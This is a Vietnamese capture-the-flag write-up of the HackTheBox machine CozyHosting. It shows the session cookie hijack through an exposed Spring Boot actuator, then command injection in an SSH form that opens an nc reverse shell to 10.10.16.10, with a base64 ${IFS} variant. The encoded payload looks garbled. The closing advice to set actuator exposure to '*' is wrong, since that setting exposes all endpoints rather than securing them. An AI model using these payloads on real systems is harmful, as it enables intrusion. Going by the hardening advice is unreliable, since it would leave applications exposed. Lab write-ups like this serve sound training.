- vừa được xem lúc

[Write-up] HACKTHEBOX Machine: Cozy Hosting. Sensitive Information Disclosure rất nguy hiểm!

0 0 2

Người đăng: Phạm Hiếu

Theo Viblo Asia

Giới thiệu

CozyHosting là 1 machine dễ ở trên HackTheBox. Nó sẽ phù hợp đối với những bạn mới tập chơi machine ở phần Init Access. Nhưng nếu muốn có flag thì bạn cần phải có thêm 1 số kỹ năng nhỏ nữa để có thể đạt được

1. Recon

Sử dụng Nmap và kiểm tra các cổng đang mở trên hệ thống

Kết quả: dịch vụ đang chạy ssh và http

Thực hiện thêm dòng sau vào tệp /etc/hosts

 10.10.11.230 cozyhosting.htb

Truy cập vào trang web http://cozyhosting.htb

2. Enumeration

Thực hiện quét các đường dẫn trên trang Web với ffuf:

ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u
'http://cozyhosting.htb/FUZZ'

Với các đường dẫn như index thì không có dấu hiệu gì, với admin thì phải là admin thì mới truy cập được. Login và logout có lẽ là endpoint để đăng nhập và đăng xuất

Thử truy cập với endpoint là error thì nhận được thông báo sau

Nhận được thông báo như trên, search google với từ khoá "Whitelabel Error Page" thì nó là của Framework Springboot

Sử dụng Wappalyzer ta biết được Server chạy trên ngôn ngữ Java

Sau đó thực hiện Enum lại nhưng thay đổi wordlist thành wordlist dành cho server Java Springboot

ffuf -c -ic -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt

Xác định được Server sử dụng 1 Framework của Spring là actuator để giám sát cũng như quản lý ứng dụng web

3. Exploit

Chúng ta sẽ kiểm tra từng đường dẫn và sau khi tìm kiếm có 1 thông tin quan trọng ở endpoint actuator/sessions

Thực hiện truy cập vào đường dẫn

Ta thấy được 1 cookie của 1 người là kanderson

Thử thay đổi cookie và refresh lại trang login

Như vậy ta đã truy cập được vào trang quản trị và bypass được phần authentication

Có 1 phần đang chú ý trên trang web

Bắt trên Burp có 1 endpoint là /executessh

Rồi nó chuyển hướng sang 1 thông báo lỗi

Ứng dụng trả lại lỗi lỗi của ssh,có vẻ như nó đang thực hiện một câu lệnh với ssh, câu lệnh có dạng như sau đối với input của ta

ssh "username"@"host"

Thử inject với username là ;ls; và host là 123.123.123.123 vào input như sau:

ssh ll;`ls`;@123.123.123.123

Trả về kết quả của ls là file cloudhosting-0.0.1.jar có nghĩa có xảy ra Command Injection

Ta sẽ thực hiện 1 cái reverse shell có dạng như sau:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.10 8888 >/tmp/f

Sau đó sẽ encode base64

;`echo${IFS}'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI
%2bJjF8bmMgMTAuMTAuMTYuMTAgODg4OCA10.L3RtcC9m'|base64${IFS}-d|bash`;

Thực hiện lắng nghe với netcat ở máy local

4. Recomendation

  • Update file config của Springboot để chặn truy cập tới file actuator

Ở trên application.properties:

*# Secure Actuator endpoints* *management.endpoints.web.exposure.include=** *management.endpoint.health.show-details=never*

Với application.yml


yaml Copy code management: endpoints: web: exposure: include: "*" endpoint: health: show-details: never

Với config này sẽ giúp cho các đường dẫn của actuator được bảo mật an toàn

5. Refference

[1] . https://www.iothreat.com/blog/spring-actuator-information-leak

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tài nguyên nghiên cứu sâu Html

1. Articles and standards. . HTML 5.

0 0 183

- vừa được xem lúc

Embedded Template in Go

Getting Start. Part of developing a web application usually revolves around working with HTML as user interface.

0 0 40

- vừa được xem lúc

Full Stack Developer Roadmap 2021

Cách để trở thành một Full Stack Web Developer trên thế giới hiện nay. Các công ty đang luôn săn đón những developer có nhiều kĩ năng để cung cấp cho họ sự linh hoạt trong các dự án.

0 0 25

- vừa được xem lúc

Những kiến thức hay về Gradient: Gradient đẹp nhất chỉ được tìm thấy ở ngoài thiên nhiên!

. Quen thuộc từ lâu với rất nhiều người, nền Gradient chỉ là những bức nền với 2 hay nhiều dải màu sắc được hòa trộn với nhau. Đơn giản là vậy, nhưng càng ngày Gradient càng phổ biến hơn trong thiết kế Website ngày nay.

0 0 288

- vừa được xem lúc

What Is Session Fixation?

Session Fixation là một kỹ thuật tấn công web. Kẻ tấn công lừa người dùng sử dụng session ID đặc biệt.

0 0 33

- vừa được xem lúc

Làm thế nào để Design của Website thu hút hơn?

Xin chào các bạn. Bởi thế, không phải bàn cãi, thiết kế giao diện vừa thu hút, vừa chuyên nghiệp và ấn tượng là một trong những yếu tố quan trọng nhất trong cả quá trình phát triển 1 website.

0 0 23